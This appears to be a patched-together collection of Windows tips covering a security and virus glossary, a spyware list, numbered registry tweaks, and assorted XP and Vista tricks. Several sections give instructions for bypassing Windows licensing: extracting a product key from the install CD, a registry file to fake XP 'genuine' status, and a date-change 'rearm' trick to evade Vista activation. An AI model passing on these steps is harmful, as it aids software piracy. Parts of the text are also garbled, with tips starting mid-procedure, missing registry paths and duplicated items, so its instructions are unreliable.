Anti-virus: Software that scans your pc for viruses, worms, and Trojans using up-to-date virus signatures. Once found, the program can remove, or quarantine the virus and (ideally) keep it from performing whatever malicious duties is was sent to do.
Attack: An attempt by an unauthorized individual or program to gain control over aspects of your pc for various purposes.
Backdoor: This is sometimes referred to as a trapdoor, and is a feature in programs that the original programmer puts into the code in order to fix bugs or make other changes that need to be made. However, if this information becomes known to anyone else it poses a potential security risk.
Firewall: A firewall refers to either a software or hardware device that basically protects your internal network from any outside threat or any unauthorized Internet access from the inside.
Hijacking: An attack whereby an active, established, session is intercepted and used by the attacker. Hijacking can occur locally if, for example, a legitimate user leaves a computer unprotected. Remote hijacking can occur via the Internet.
Hole: A known flaw in code that can compromise the security of your system by allowing unauthorized access.
HTTPS (Hypertext Transfer Protocol Secure): This is a version of http that is far more secure and is used (or should be used) in areas of the web where sensitive information is being used or exchanged.
Key: These are the names of Windows Registry components that are responsible for keeping the settings in Windows. Every time a program gets added to or uninstalled from a pc the Registry gets changed. If a virus gets into your system and makes changes to your registry keys it can cause serious performance changes.
Key loggers: These are used in legitimate programs but have been a favorite of hackers for years. Basically, what a key logger does is log your keystrokes for however long it is configured for. Hackers use these types of programs to find important information like usernames and passwords for sensitive accounts or highly secure areas.
@mm: This is usually seen at the end of a virus name i.e. W32netsky@mm and signifies that this virus is a mass mailer. A mass mailer is the term for a virus that upon infection can mail itself out to email addresses that it harvests from various areas of your hard drive—especially your address book. Sometimes you will see the designation with only one "m" at
the end of the virus name this stands for mailer and this kind of virus can only ride along with email messages you send.
Here are some more security terms that you should become familiar with.
Macro virus: Code written to take advantage of Hotkey" abilities to deliver its payload or replicate. Macros are hotkeys—key combinations that you can record and link to a single or fewer keystrokes.
Payload: This is the portion of the virus that is released into your system; it isn t always destructive but is always unwanted.
Port: The protocol stacks TCP/IP which is the protocol of the Internet (for the most part). There are several small parts to an Internet address, or IP address. While the IP address is your logical location on the web, the port number is an identifier for the service you would like to use on the system you re connecting to.
*A port has always been a tough concept to grab but is a very important component in fighting off hackers, Firewalls are so important because they deny any accesses to or from ports that you haven t granted access to. A firewall is an absolute necessity for broadband users.
Protocol: A set of rules and standards to govern the exchange of data between computers and related devices. There are protocols in almost every aspect of computers from web design to programming to network administration.
Replication: After a virus successfully infects a PC it usually starts to copy itself. Then it tries to infect either different parts of your system, or other systems, usually through address books or shared network files. This is usually one of the chief missions of a virus and by means of replication viruses can grow and infect new systems at an exponential rate.
Security response: The process of research, creation, delivery, and notification of responses to viral and malicious code threats, as well as operating system, application, and network infrastructure vulnerabilities.
SMTP: Simple Mail Transport Protocol. This is an email protocol that is responsible for moving mail from mail server to mail server.
Variant: A modification to the original virus code in an attempt to either throw antivirus software companies off, or create a different effect from the virus.
Virus definitions file: These are data files used by antivirus programs to help them identify and deal with viral attempts to infect your system.
About Virus......? Definitions
What is a Virus?
A virus is a manmade program or piece of code that causes an unexpected, usually negative, event. Viruses are often disguised games or images with clever marketing titles such as "Me, nude."
What is a Worm?
Computer Worms are viruses that reside in the active memory of a computer and duplicate themselves. They may send copies of themselves to other computers, such as through email or Internet Relay Chat (IRC).
What is a Trojan Horse?
A Trojan horse program is a malicious program that pretends to be a benign application; a Trojan horse program purposefully does something the user does not expect. Trojans are not viruses since they do not replicate, but Trojan horse programs can be just as destructive.
Many people use the term to refer only to non-replicating malicious programs, thus making a distinction between Trojans and viruses
What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.
Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.
How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.
Check Here: http://www.spywareguide.com/product_search.php
If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.
Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware
If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Windows tweaks 2

51. Display the Windows version on the Desktop
In Windows 2000, a DWORD value of 1 will display the Windows version on the desktop. A value of 0 does not display it.
52. Change Location of Windows Setup Files
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Setup\SourcePath
This REG_SZ or String Value key stores the path to the location of the installation files.
53. Internet Explorer Context Menu Items
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
These are menu items that appear in the Right-Click menu of Internet Explorer
54. Internet Explorer Tools Menu Items
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions
Each subkey of these keys define an addition to IE's Tools menu
55. Restrict Users from Using GIFs and JPGs as Desktop Wallpaper
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoHTMLWallPaper To restrict users from using GIFs and JPGs as wallpaper (restrict them to BMP images) create or set this value to 1. A value of 0 will allow users to use all 3 types of images.
56. Restrict Users from Changing Desktop Wallpaper
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper This DWORD value 1 will stop people from being able to change their desktop wallpaper. A value of 0 will allow users to change the wallpaper.
57. Clear Internet Explorer Address Bar Auto-complete Entries
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
HKEY_USERS\S-1-5-21...\Software\Microsoft\Internet Explorer\TypedURLs
When you type a URL in Internet Explorer (IE), the system automatically completes known entries with data stored in this registry key. Each time you type in a URL and press the Enter key or the Go button, that URL is stored in this location.
58. Restrict Users from Logging Off
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff This DWORD value set to 1 will remove the "Log Off User" option in the Start Menu. A value of 0 will show it. 59. Remove Background Tab from Appearing in the Display Applet
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispBackgroundPage This DWord value set to 1 will stop the Background page of the Display applet from appearing. Setting it to 0 will cause it to appear.
60. Scroll Start Menu or View Multiple Columns
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\StartMenuScrollPrograms This String entry in the registry can be created if it doesn't exist. If you set it to FALSE it will make the start menu run into multiple columns. This works with IE5. You have probably noticed that if your Start Menu is too long, you get a little arrow at the top or bottom of the Programs menu telling you that you need to scroll to see what else is there. You can change this to behave the way Windows 95 used to.
61. Remove Browser Branding
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BrandBitmap
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\SmBrandBitmap
If you downloaded IE from ZDNet, Tucows, or any other major site, it is probably "branded", meaning that it probably has its own logo in the upper-right corner and in the title bar it says the branded name. These 2 registry settings should be deleted if you want to remove the branded logo. This will set it back to the default IE globe. http://support.microsoft.com/support/kb/articles/Q176/7/13.ASP
62. Internet Explorer Window Title
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title
This is where you can change the browser name that appears in the Internet Explorer window title. You can change it to anything you want.
63. Smooth Scrolling in Microsoft Word
This features allows you to have smooth scrolling in Word 97. When you use the scroll bars in Word 97, you can't see the document as it scrolls by until you let go of the scroll bar. Adding this LiveScrolling setting and setting it to 1 will allow you to see document scroll by.
64. Remove Desktop Icons
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Eexplorer\Desktop\NameSpace A lot of programs install themselves and add an icon to the desktop. The problem is, this isn't just a shortcut that can be deleted. These are permanent links to certain
programs/features. In order to delete them, you need to navigate to this registry key and delete any entries you do not want.
65. Start Menu Delay
HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay
This registry entry will control how fast each menu sub-level appears and how fast the taskbar will appear if you have autohide set up. The number that you enter will be the time in milliseconds the operating system will pause. 1 second would need an entry of 1000. I usually set mine at 0 so that it appears as quick as it can.
66. Sort the Start menu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder This registry key is where you would go in Windows 98 and Windows 95 with the windows update installed to fix your menu order. Maybe you haven't noticed, but the menu items in the Start Menu and in the Favorites folder don't have to be in alphabetical order. By dragging them, you can put them in any order you want. The problem is, once you have changed one, you can never get it back to alphabetical order without fixing it in the registry.
From the MenuOrder key, choose which sub key you want to edit, the Start Menu or the Favorites. You will see more sub keys that are called Menu. You can either delete that key, or delete the binary Order listing in the right hand pane. You can search through all of the sub keys for the same thing and reset any of them that you want.
If you don't like working in the registry, there is a PC Magazine utility available called MenuZap that you can download which does all of this automatically for you. Visit http://www.zdnet.com/pcmag/ and do a search for MenuZap to find it.
67. Remove Uninstall Items from the Add/Remove Programs Applet
This registry key contains all of the sub keys for programs that can be uninstalled. When you want to uninstall, always use the uninstall program that came with the program or use the Add/Remove Programs applet of the Control Panel. This registry key can be useful when you have done that, but the program still comes up in the Add/Remove Programs listing. When you click on it it says "Can't find this file." Well, of course it can't, it has been uninstalled. It is just that the registry listing hasn't been removed.
To remove it, just visit this key, and then scroll down until you see the culprit. You might have to click on the sub key once so that the real name shows up in the right hand pane. Sometimes the sub key names don't make a lot of sense.
68. Edit Windows Registration Information
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
This registry key will allow you to change to information you inputted about who Windows was registered to. You can change the company, persons name, the registration key, etc.
69. Edit Windows Installed User Information
HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info
Have you noticed that when you install programs, it quite often automatically knows your name and your company name? That information does not come from the registry key mentioned above this one. It is found in this one. If you have gotten a used computer from someone or have changed companies and want to change those names, then visit this key.
70. Change Windows Startup Items
This registry key will help you when there are programs starting up that you don't want running. When you install something like Norton Utilities or an antiviral program, they load up at start up and put a small icon in the system tray. You probably want most of these programs running, but lets say that you don't want it running. How do you get rid of it. There should be an option in the program setup, but if you just can't find it, you can go to this key, or any other that starts with RUN and delete the listing in the right hand pane.
For instance, Power Management is installed by default by Windows, even if you go into the power settings and tell it you want the computer on all the time, there is still a line in the RunServices key. It wasn't doing any harm because the power profile was set so that everything was on all the time, but why even have the profile in there is I don't use it. So I deleted it.
71. Disable the mapped-drive reconnect warning
If you have mapped a network share to a drive letter, you can automatically remap it each time your computer starts. If the network share isn’t available anymore, then you a window pops up telling you this and asks you if you’d like to remap the drive again next time. This can get annoying. This DWORD set to 0 will disable the warning. Changing it to 1 will re-enable the warning.
72. Turn off printer announcement broadcasts
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\ DisableServerThread
This DWORD value set to 1 will prevent your computer from sending out announcements that it has printers shared. Setting it back to 0 renews the broadcasts.
This will prevent printers from appearing when browsing the network, but the printers are still available as long as their share name is known.
73. Fix EXE Association Problems
HKEY_LOCAL_MACHINE \ Software \ Classes \ Exefile \ Shell \ Open \ Command
Do you ever get the error “Windows cannot find PROGRAM.EXE. This program is needed for opening files of type 'Application’”?
If so, then go to this registry key and make sure that it has the value:
"%1" %* (exactly as shown).
74. Turn off Passport Reminder
(Windows XP)
When this value is set to 0a, you won’t have the Passport reminder popup anymore.
75. Stop Windows Messenger from Starting with Microsoft Outlook Express
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express\ Hide Messenger
This DWORD value set to 2 will stop Windows Messenger from starting with Microsoft Outlook express.
76. Logging Windows Installer activities in Windows 98
Windows Installer can log its activity. Give this String value a value of voicewarmup and you’ll get full logging.
The value may appear a little unusual, but each letter turns on a separate logging feature (the letters can be entered in any order):
i - Status messages
w - Non-fatal warnings
e - All error messages
a - Start up of actions
r - Action-specific records
u - User requests
c - Initial UI parameters
m - Out-of-memory or fatal exit information
o - Out-of-disk-space messages
p - Terminal properties
v - Verbose output
+ - Append to existing file
! - Flush each line to the log
"*" - Wildcard, log all information
except for the v option.
To include the v option, specify "/l*v".
77. Run Defrag without Problems
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\Disable loadqm.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\ Disable loadwc.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\ Disable ScreenSaver
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Defrag\Settings\ Disable Wkdetect.exe
(Windows 9x/ME)
Set each of these values to YES to disable these programs while Defrag is running
LOADWC.EXE (Windows Update Checker), LOADQM.EXE (Query Manager), and WKDETECT.EXE (Update Checker for Microsoft Works).
78. Run Scandisk without Problems
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Scandisk\Settings\ Disable loadqm.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Scandisk\Settings\ Disable loadwc.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Scandisk\Settings\ Disable ScreenSaver
(Windows 9x/ME)
Set each of these values to YES to disable these programs while Defrag is running
LOADWC.EXE (Windows Update Checker), LOADQM.EXE (Query Manager), and WKDETECT.EXE (Update Checker for Microsoft Works).
79. Account Settings
HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager
Your Outlook Express Email Account settings are stored in this registry setting.
80. Mail Rules
You'll find all the information about mail rules and other per-identity settings here, stored in sub-keys identified by your unique ID string. It will look something like this:
If you are importing information for the same user that you had when you exported this key, all will be fine. If you have recreated this user, or created a new one, the unique ID will be different, and so you will a bit of work to make it work.
81. Set Temporary Internet Files Path
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings/Cache/Paths/Path1-4
This registry setting will show you where your Temporary Internet Files are stored.
You can delete the sub-paths, but not the main Paths key. You can also change the location of these paths.
If you delete the Paths1-4, and set the value of Directory to a location, then you will have only 1 path (and no sub-paths).
82. Clear Temporary Internet Files when Exiting Internet Explorer
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Persistent
This REG_DWORD key when set to 0x00000000 (0) will clear your Temporary Internet Files folder when you exit Internet Explorer. This value set to 0x00000001 (1) will not clear it.
83. Change the Temporary Internet Files Cache Size
Change the Base to Decimal and enter the amount of space you want to use for temporary Internet files (in kilobytes)
84. Disable Balloon Tips
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ EnableBalloonTips
(Windows XP)
This DWORD value set to 0 will disable the balloon tips. The value of 1 will enable the tips.
85. Decide whether you want dial-up passwords saved
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \RasMan\Parameters
Add a value named DisableSavePassword
This REG_DWORD set it to 1 will stop Dial-Up Networking from saving the password. A setting of 0 will save the password.
86. Display Customized Message When Windows Starts
HKEY_LOCAL_MACHINE\Software\MicrosoftWindows\CurrentVersion\Winlogon\ LegalNoticeCaption
HKEY_LOCAL_MACHINE\Software\MicrosoftWindows\CurrentVersion\Winlogon\ LegalNoticeText
These strings will display a small window when a computer first starts up. The caption is the name of the window. The text is the message itself in the window.
87. Suppress the Windows Tour Prompt
(Windows XP)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Applets\Tour\ RunCount
This DWORD value set to 0 will stop the Windows Tour from appearing
88. Disable The Getting Started Screen
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWelcomeScreen This REG_DWORD value set to 1 disables the Getting Started screen. 0 enables it.
89. Add TLDs To IE’s Autosearch
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\UrlTemplate
For Value Name, enter the next number available. This REG_SZ value will be setup the same way the existing ones are (www.%s.TLD, with TLD being .com, .edu, .biz, etc.)
90. Refresh Windows Explorer Windows Immediately
This DWORD value set to 00 will force Windows to refreshe windows quicker
91. Disable the Personalized Favorites Menu feature in IE 5.0 or later
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FavIntelliMenus
Set this value to “no” (without the quotes).
92. Disable IEs HTML Source Editor Check
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CheckDocumentForProgID
This String value set to “no (without the quotes) will stop Internet Explorer from changing the program that you can use to edit a current web page.
93. Disabling File Shares On Servers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Parameters\ AutoShareServer
This REG_DWORD value set to 0 will remove the default file shares
94. Delete Page File When You Shut Down Windows
HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSIONMANAGER\MEMORYMANAGEMENT\ClearPageFileAtShutdown This value set to 1 will clear the paging file when a computer is shut down
95. Minimize Outlook to the System Tray
This REG_DWORD value set to 1 will minimize Outlook 2002/XP to the system tray rather than to the task bar.
96. Realigning Dropdown Menus
HKEY_CURRENT_USER\Control Panel\Desktop\MenuDropAlignment
This String value set to 1 will cause menus to drop down from the right rather than the left.
97. Display Start Menu Items in Alphabetical Order
Delete this key and the menu will be reset to be in alphabetical order.
98. Set Windows Explorer Toolbar Wallpaper
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\BackBitmapShell
This String value contains the location of the bitmap (BMP) image that you would like to use as the toolbar wallpaper.
99. Enable Notification for Missed Scheduled Tasks
This DWORD value set to 1 will enable missed tasks notification. Setting this value to 0 will disable notification.
100. Turn off Low Disk Space Notification
(Windows XP)
HKEY_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoLowDiskSpaceChecks
This DWORD value set to 1 will disable the low disk space notification. 0 will enable it.

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Get the Xp Product Code its Cd Itself
Get the Xp Product Code From its CD Itself
There is a way to get the xp product code from the cd just explorer the cd then open the folder I386 then open the file UNATTEND.TXT and scroll down to the last line and it goes to show what dumbasses microsoft are u have a product code.
Have fun u never need to search for a product code for xp again...!!!!

Xp expires
To reduce instances of "casual copying" (a nice name for software piracy), Microsoft has implemented a two-stage antipiracy scheme in its upcoming OS. The first stage is the installation and registration counter: this lets you install Windows XP only five times on the same system. (Note that you'll be able to install the final version of XP on only one machine, as opposed to the current beta, which can be installed on five machines for testing purposes.) The second stage creates a profile of the system to prevent you from reinstalling or registering the OS on different PCs.
To make this scheme work, you must activate your copy of Windows--over the Internet or by calling for an activation code--within 30 days of installation. Activation differs from a classic registration process in that no personal information is requested by or sent to Microsoft, just a record that a specific copy of Windows XP is installed on your specific PC. If you fail to activate your copy of the OS within 30 days, your login will fail. (Since XP is based on Windows NT-like privilege levels, you can't use your computer until you log on.)
Microsoft says the scheme should not prevent you from reinstalling your copy of XP on your PC as many times as you need to, as long as it's the same PC or close to it, allowing for some hardware changes. It's the "some" that has most folks worried. In theory, you might have to reactivate your OS if you upgrade significantly or swap out a lot of components because XP might think it's running on a new PC. So far, Microsoft isn't saying what system information the OS uses to determine the "same PC or close to it" status. That means we don't know to what degree you can upgrade your hardware before you cross the invisible line. We also don't know how much, if any, personally identifiable data Microsoft is gathering from your PC.
Microsoft says you can, of course, change at least one and possibly several hardware components--RAM, video or sound cards, CPUs, motherboards, and so on--without having to reactivate your OS. But if you try to reinstall your copy of Windows XP on what Microsoft calls a "different or significantly upgraded or changed PC" (again, the company declined to specify how different), the activation will most likely be rejected, requiring you to call Microsoft to explain and get a new (free) activation code.
Microsoft plans to set up a new call center for U.S.-based customers to expedite activation issues. Many non-U.S. customers will likely have to go through the existing, shared Microsoft technical support lines they currently use. Microsoft says it expects only 2 percent of the total installed base of Windows XP to have to reactivate the OS. Whether the anti-piracy initiative will present problems for consumers or result in fewer upgrades to XP remains to be seen. Remember, the final release is at least a few months off.
Make XP genuine

Right click your desktop and select new text document.
Open that document and paste the following info.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
"CurrentBuild"="1.511.1 () (Obsolete data - do not use)"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents]
* In notepad click then.
* For file type in the save dialog box select "all files" and for the filename type in License Key.reg or whatever you want. It doesn't matter as long as it has the .reg extension.
* Click save.
* Double click the file thats now on your desktop. It will ask you are you sure. Tell it yes.
* To see that it worked go to
and click on "Validate Windows" over on the right

The Magical Jelly Bean Keyfinder is a freeware utility that retrieves your Product Key (cd key) used to install windows from your registry. It has the options to copy the key to clipboard, save it to a text file, or print it for safekeeping. It works on Windows 95, 98, ME, NT4, 2000, XP, Server 2003, Windows Vista, Office 97, Office XP, and Office 2003.
This version is a quick bug fix to remedy the broken "Change Windows Key" in Windows XP. Download Jellybean key finder from the link given below.

Link - http://www.magicaljellybean.com/keyfinder.shtml
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
P.S: this works on windows Xp sp2 only......

Activate windows vista any edition
# Install Windows Vista Ultimate edition (or other edition) without product key.
# Windows Vista needs to be applied with 2099-ReArm trick, so that the counter of minutes to no activation required period will not return to normal after reboot. Click on Start Orb button.
# Select “All Programs”, then “Accessories”.
# Right click on “Command Prompt, then select “Run as Administrator (A)”.
# If User Account Control (UAC) prompt a warning message, click on “Continue”.
# In the command prompt, type date and press Enter. You will see the following:

Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
Current date: 12/19/2006 Thursday
Enter new date:
# Enter 12/31/2099 (December 31, 2099).
# Next, type cscript slmgr.vbs -rearm. You will see something like the following:
C:\Windows\system32>cscript slmgr.vbs -rearm
Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.
The command completed successfully.
To make the change effectively, please restart the system.
# Then reset the date of the system to current date again by typing date again. You will see the following:
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
Current date: 12/31/2099 Thursday
Enter new date:
# Type in current date, i.e. 12/19/2006.
# Exit from command prompt, but do not restart the computer.

Add your name to the right bottom corner of your computer window.

Go ahead, do this little trick to impress and amaze your friends
For Microsoft Windows XP.

Go to:
Control Panel.
Regional and Language Options.
Click the Customize button.
Select Time tag.
Highlight AM and type the name you want to display . Repeat with PM.
clicl apply and than ok
Change Text on XP Start button.
Now that the modified explorer.exe has been created its necessary to modify the registry so the file will be recognized when the user logs on to the system. If you dont know how to access the registry Im not sure this article is for you, but just in case its a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if thats your preference. If all went as planned you should see your new Start button with the revised text.
Desktop properties won't work
If Desktop-properties won't work that can be caused by change in Registry base.
1. Make backup of your registry base.
2.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVerison \ControlsFolder\Display\shellex\PropertySheetHandlers
There can be lots of keys , but standard and important are only:
- DeskHtmlExt, and
- PlusPack CPL extension
Keep just those two, and delete other keys.
Close Registry, and restart computer.
Renaming CD ROM Drive Letter
Rename the drive letters of your CD drive(s) from the back of the alphabet, eg, Z, Y. This way, if you add extra hard disks, your CD drives do not get re-lettered.

Note from Bob:

You can do this from the Device Manager.
Open up the CD ROM section
Open the CD ROM you want to change

Under Settings, change the Start Drive Letter to higher in the alphabet.

Bored of autoplay CDs?
That autoplay CDs can be really annoying sometimes. If you thing so, than turn of that option.If you are on Windows XP:

type Qpedit.msc
Computer config
Administrative template
Double click on - "Turn off autoplay"
If you change your mind sometimes, just do Disable on end of this instead Enable.
Searching for Files In All Drives
If you want to search for files across all drives, including mapped network drives:
Press F3 to start the search
In the Named box, enter file or folder you want to search for
In Look in select My Computer
This will search all drives including mapped network drives. Easier than using the comma's.
Saving File Searches
If you want to review the results of a file search at a later time:
While on the Desktop or with the Explorer, press F3 to start the search
Click Options / Save Results
Do the search
After the search select File / Save Search
An icon will be placed on the desktop with the search results.

Removing Programs from the Control Panel

Easier way to remove control panel programs.

1.Edit your control.ini file in your Windows directory.
2.Under the section [don't load] add the appropriate .cpl file.
3.For example to get rid of Network add netcpl.cpl=no
4.This will disable users from accessing the network control panel.
5.You can remove seected icons in your Control Panel by simply moving, deleting or renaming the *.cpl file in your C:\WINDOWS\SYSETM directory.
6.The icon or file will still work even if it is not on the control panel screen.
7.At list of the CPL files can be found in this section at Control Panel CPL Files
Easier double click on your computer
For mouse double click you have to click 2 times in imaginary 4x4 pixel field. If that's problem for you, you can make that field bigger.
Go to Registry.
In right window, you will find DoubleClickWidth and DoubleClickHeigh. Both have values. Just change that values to some bigger.
Rename photos in Windows XP
You have a lots of photos in some folder on your computer, all have numbers-names, and you want to name them like Holliday1.jpg, Holliday2.jpg, ... Don't need to do that one by one. You can do that automatically with this little trick.
Open that folder and chose View - Thumbnails
Left click on any picture and CTRL + A. That way you will select all files in that folder.
Right click on first pic and chose "Rename" from drop-down menu.
Windows XP will highlight name of that file and you will be able to name it. After filling the name, click somewhere outside, in white space. You're done. If you named firs file "Anything" all selected files will get names "Anything1", "Anything2", "Anything3", and so on.
Add your name to the right bottom corner of your computer window.
For Microsoft Windows XP.
Go to: Start>Control Panel>Regional and Language Options.
Click the Customize button.
Select Time tag.
Highlight AM and type the name you want to display . Repeat with PM.
click apply and than ok.......
Get rid of the annoying Microsoft error reports
This error report sending message can become quite annoying at times,it keeps on bugging the user.Not to worry about.There is a simple way to get rid of it:
1.Go to Start->Control panel.
2.Go to system.Now go to the Advanced tab.
3.Under the advanced tab,at the bottom click on 'Error reporting'.Now click on 'Disable error reporting'.
You are done.You will not receive the error sending report anymore...........

Normally, when you right button click on the Start button, it allows you to open your programs folder, the Explorer and run Find.
In situations where you don't want to allow users to be able to do this in order to secure your computer.
1.Open RegEdit
2.Search for Desktop
3.This should bring you to HKEY_CLASSES_ROOT\Directory
4.Expand this section
5.Under Shell is Find
6.Delete Find
7.Move down a little in the Registry to Folder
8.Expand this section and remove Explore and Open
Now when you right click on the Start button, nothing should happen.
You can delete only those items that you need.
Note: - On Microsoft keyboards, this also disables the Window-E (for Explorer) and Window-F
(for Find) keys.
See the section on Installation in the RESKIT to see how to do this automatically during an install.